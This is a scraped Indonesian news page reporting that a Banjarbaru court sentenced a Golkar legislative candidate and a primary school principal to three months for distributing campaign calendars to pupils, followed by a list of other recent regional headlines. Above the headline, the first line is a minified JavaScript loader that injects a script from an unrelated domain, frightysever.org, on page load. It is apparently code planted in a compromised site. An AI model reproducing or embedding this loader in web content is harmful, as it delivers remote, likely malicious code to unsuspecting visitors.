(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Palu Hakim Antar Vonis 3 Bulan Penjara untuk Caleg Golkar dan Kepala Sekolah


Awal Mula

Pada hari Akhir Otober 2018 lalu, Rizali Hadi selaku caleg DPRD Banjarbaru menyerahkan kurang lebih 200 lembar kalender akademik yang memuat foto dan ajakan untuk mencoblos dirinya. Kalender akademik tersebut dibungkus dalam karung warna putih dan meminta Nurdin selaku Kepala SDN 2 Guntung Manggis untuk membagikan di komplek perumahan sekitar dan sekolah.

Mendengar permohonan tersebut, Nurdin menyanggupinya karena hubungan baik dan telah lama kenal. Sebab Rizali juga dikenal sebagai Pembina Program Adiwiyata pendidikan Kota Banjarbaru yang sering melakukan pembinaan mengenai program Adiwiyata di sekolah-sekolah yang ada di Banjarbaru, termasuk di SDN 2 Guntung Manggis.

Setelah menerima kalender yang dibungkus dalam karung warna putih tersebut, selanjutnya Nurdin yang sesampainya di sekolahan kemudian menyerahkan kalender tersebut kepada para guru untuk dibagikan kepada para siswa.

Hal ini pun menjadi perhatian orang tua siswa, yang merasa bahwa Kalender tersebut bukan kalender pendidikan semestinya. Kalender ini lebih mengarah kepada pemilun nanti untuk memilih caleg yang bersangkutan bukan Kalender akademik pendidikan Kota Banjarbaru Tahun 2018/2019.

Kasus Pertama di Kalsel
Sementara itu, Komisioner Bawaslu Kalsel Azhar ‘Aldo’ Ridhanie mengatakan, pihaknya akan membahas upaya hukum lewat rapat terakhir. Hal ini pun menjadi bahan evaluasi Bawaslu untuk menangani kasus-kasus serupa. “Kita akan melakukan rapat pembahasan ke empat dalam 1 x 24 jam, ini rapat yang terkahir terkait melakukan banding,” katanya.

Menjadi kasus pertama di Kalsel, Komosioner Bawaslu ini mengatakan para Caleg harus taat aturan dan memahami serta mengetahui bagaimana mekanisme kampanye sesuai dengan peraturan Perundangan yang berlaku. “Kami Bawaslu kalsel beserta jajaran akan selalu mengawasi dan melekat. Jadi penting bagi para caleg untuk mengetahui dan memahami undang-undang yang berlaku,” lanjutnya. (rico)


Reporter: Rico
Editor: Chell

Page: 1 2

Desy Arfianty

Recent Posts

PUPR Kalsel Gelar Pelatihan Peningkatan Kapasitas Administrator SIPJAKI

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel mengadakan Pelatihan Peningkatan Kapasitas… Read More

11 jam ago

Camat Mantangai Monitoring Posyandu di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS - Camat Mantangai, Yubderi melakukan monitoring kegiatan pelayanan di Posyandu Desa Manusup,… Read More

11 jam ago

Penjual Tuak di Kelurahan Bangkal Ditangkap Polisi

KANALKALIMANTAN.COM, BANJARBARU - Unit Reskrim Polsek Cempaka menggeledah rumah terduga penjual minumas keras (miras) jenis… Read More

11 jam ago

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

16 jam ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

16 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

17 jam ago

This website uses cookies.